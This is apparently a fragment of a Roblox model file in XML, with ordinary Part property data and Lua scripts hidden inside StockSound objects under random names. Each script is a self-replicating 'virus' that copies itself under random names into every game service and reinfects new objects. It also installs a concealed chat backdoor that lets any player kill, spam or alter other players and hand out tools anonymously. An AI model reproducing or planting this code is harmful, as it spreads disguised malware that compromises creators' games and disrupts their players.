if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX134">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-0.5</X>
						<Y>3.60000014</Y>
						<Z>-0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>6</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX135">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ugwdq</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX136">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">mcky5u5c</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX137">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">24</int>
					<CoordinateFrame name="CFrame">
						<X>-3</X>
						<Y>7.20000029</Y>
						<Z>-9.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
